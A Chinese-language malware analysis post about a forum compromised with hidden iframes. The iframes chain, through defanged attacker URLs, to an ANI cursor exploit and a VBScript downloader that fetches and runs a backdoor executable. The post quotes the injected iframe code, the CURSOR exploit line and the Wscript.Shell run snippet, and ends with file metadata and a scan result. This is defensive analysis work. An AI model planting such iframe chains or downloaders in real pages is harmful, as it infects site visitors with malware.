某易论坛被植入利用ANI漏洞传播 Backdoor.Win32.Agent.ahj 的代码

本是古典何须时尚 2024-02-17 13:55 40阅读 0赞

**endurer** 原创  
2007-04-19 第**1**版

植入的代码为：  
/---  
＜iframe src=hxxp://www.y\*xg\*\*m7\*\*\*\*8.com/y\*x.htm width=0 height=0＞＜/iframe＞  
\---/

**hxxp://www.y\*xg\*\*m7\*\*\*\*8.com/y\*x.htm** 包含代码：  
/---  
＜iframe src="hxxp://l\*\*\*\*l\*8\*\*0.com/x\*\*x/x\*\*x.htm" width=1 height=1＞＜/iframe＞  
\---/

**hxxp://l\*\*\*\*l\*8\*\*0.com/x\*\*x/x\*\*x.htm**　包含代码：  
/---  
＜iframe src="hxxp://l\*\*\*\*l\*8\*\*0.com/x\*\*x/x\*\*x\*\*1.htm" width=100 height=1＞＜/iframe＞  
＜iframe src="hxxp://l\*\*\*\*l\*8\*\*0.com/x\*\*x/x\*\*x\*\*2.htm" width=100 height=1＞＜/iframe＞  
\---/

**hxxp://l\*\*\*\*l\*8\*\*0.com/x\*\*x/x\*\*x\*\*1.htm** 包含代码：  
/---  
＜DIV style="CURSOR: url('hxxp://l\*\*\*\*l\*8\*\*0.com/x\*\*x/xx2.jpg')"＞

利用ANI漏洞 通过 xx2.jpg 下载文件 xx.exe。

**hxxp://l\*\*\*\*l\*8\*\*0.com/x\*\*x/x\*\*x\*\*2.htm** 的内容为分为两部分。  
第一部分为VBScript代码，功能是 利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件 xx.exe，保存为c:/xiaogang.exe。然后创建内容为  
/---  
Set Shell ＝ CreateObject（"Wscript.Shell"）  
Shell.Run （"c:/xiaogang.exe"）  
Set Shell ＝ Nothing  
\---/  
的文件xiaogang.vbs。  
通过Shell.Application 对象 Zhong 的 ShellExecute 方法 执行xiaogang.vbs，从而运行xiaogang.exe。

文件说明符 : d:/test/xx.exe  
属性 : A---  
语言 : 英语(美国)  
文件版本 :  
说明 :  
版权 : (C) Microsoft Corporation. All rights reserved.  
备注 :  
产品版本 :  
产品名称 : Microsoft(R) Windows(R) Operating System  
公司名称 : Microsoft Corporation  
合法商标 :  
内部名称 :  
源文件名 :  
创建时间 : 2007-4-19 22:49:7  
修改时间 : 2007-4-19 22:49:8  
访问时间 : 2007-4-19 0:0:0  
大小 : 17436 字节 17.28 KB  
MD5 : 86ac4df3630f76bbfb5265746d52eca3

**Scanned file: xx.exe \- Infected**

**xx.exe - infected by [Backdoor.Win32.Agent.ahj][]**

#### Statistics: ####

<table style="BORDER-RIGHT: #005447 1px solid; BORDER-TOP: #005447 1px solid; BORDER-LEFT: #005447 1px solid; BORDER-BOTTOM: #005447 1px solid"> 
 <tbody> 
  <tr> 
   <td align="right">Known viruses:</td> 
   <td align="left">299444</td> 
   <td align="right">Updated:</td> 
   <td align="left">19-04-2007</td> 
  </tr> 
  <tr> 
   <td align="right">File size (Kb):</td> 
   <td align="left">18</td> 
   <td align="right">Virus bodies:</td> 
   <td align="left">1</td> 
  </tr> 
  <tr> 
   <td align="right">Files:</td> 
   <td align="left">1</td> 
   <td align="right">Warnings:</td> 
   <td align="left">0</td> 
  </tr> 
  <tr> 
   <td align="right">Archives:</td> 
   <td align="left">0</td> 
   <td align="right">Suspicious:</td> 
   <td align="left">0</td> 
  </tr> 
 </tbody> 
</table>

[Backdoor.Win32.Agent.ahj]: http://www.viruslist.com/en/find?words=Backdoor.Win32.Agent.ahj